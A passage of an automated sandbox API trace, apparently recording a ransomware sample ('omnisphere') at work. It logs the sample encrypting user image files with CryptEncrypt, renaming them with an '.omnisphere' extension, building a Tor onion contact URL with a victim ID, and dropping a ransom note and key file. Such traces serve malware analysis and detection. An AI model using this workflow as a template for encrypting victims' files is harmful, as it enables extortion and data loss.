pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.888] CryptDestroyKey (hKey=0x16396a8) returned 1 [0062.888] CryptReleaseContext (hProv=0x163b9f8, dwFlags=0x0) returned 1 [0062.888] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xcd52, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.888] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0062.888] GetProcessHeap () returned 0x1600000 [0062.888] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x274) returned 0x1649430 [0062.888] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0uznes.gif"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0uznes.gif.omnisphere")) returned 1 [0062.889] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif.omnisphere.id" [0062.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0uznes.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0062.889] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0062.890] CloseHandle (hObject=0x3a8) returned 1 [0062.891] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0062.892] CloseHandle (hObject=0x3a4) returned 1 [0062.892] SetEndOfFile (hFile=0x3a0) returned 1 [0062.892] FlushFileBuffers (hFile=0x3a0) returned 1 [0062.897] CloseHandle (hObject=0x3a0) returned 1 [0062.898] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0062.898] GetProcessHeap () returned 0x1600000 [0062.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16514e0 [0062.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0062.898] GetProcessHeap () returned 0x1600000 [0062.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641958 [0062.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641958, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0062.898] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0062.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.898] GetProcessHeap () returned 0x1600000 [0062.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163ab90 [0062.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x163ab90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0062.899] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0062.899] GetProcessHeap () returned 0x1600000 [0062.899] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163ba80 [0062.899] PathCombineW (in: pszDest=0x163ba80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0062.899] GetProcessHeap () returned 0x1600000 [0062.899] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x162fbe8 [0062.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.899] WriteFile (in: hFile=0x3a0, lpBuffer=0x162fbe8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x162fbe8*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0062.904] CloseHandle (hObject=0x3a0) returned 1 [0062.905] GetProcessHeap () returned 0x1600000 [0062.905] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16514e0 | out: hHeap=0x1600000) returned 1 [0062.905] GetProcessHeap () returned 0x1600000 [0062.905] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fb00 [0062.905] PathCombineW (in: pszDest=0x163fb00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0062.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.905] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0062.905] CloseHandle (hObject=0x3a0) returned 1 [0062.905] GetProcessHeap () returned 0x1600000 [0062.905] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fb00 | out: hHeap=0x1600000) returned 1 [0062.906] GetProcessHeap () returned 0x1600000 [0062.906] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a420 | out: hHeap=0x1600000) returned 1 [0062.906] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83efcc60, ftCreationTime.dwHighDateTime=0x1d4d5b3, ftLastAccessTime.dwLowDateTime=0x5f975420, ftLastAccessTime.dwHighDateTime=0x1d4cf85, ftLastWriteTime.dwLowDateTime=0x5f975420, ftLastWriteTime.dwHighDateTime=0x1d4cf85, nFileSizeHigh=0x0, nFileSizeLow=0x15af7, dwReserved0=0x0, dwReserved1=0xed, cFileName="1d7dZR0.jpg", cAlternateFileName="")) returned 1 [0062.906] GetProcessHeap () returned 0x1600000 [0062.906] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x66) returned 0x163a730 [0062.906] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="1d7dZR0.jpg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg" [0062.906] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0062.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1d7dzr0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.906] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=88823) returned 1 [0062.906] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x155d3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.906] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.907] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500a8 [0062.908] GetTickCount () returned 0x11500b8 [0062.909] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bf48) returned 1 [0062.909] CryptImportKey (in: hProv=0x163bf48, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639528) returned 1 [0062.909] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0062.910] CryptDestroyKey (hKey=0x1639528) returned 1 [0062.910] CryptReleaseContext (hProv=0x163bf48, dwFlags=0x0) returned 1 [0062.910] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15af7, lpName=0x0) returned 0x3a4 [0062.910] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15af7) returned 0x3450000 [0062.911] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c058) returned 1 [0062.911] CryptImportKey (in: hProv=0x163c058, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639a28) returned 1 [0062.911] CryptSetKeyParam (hKey=0x1639a28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0062.911] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0062.911] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.911] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.912] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.913] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.914] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 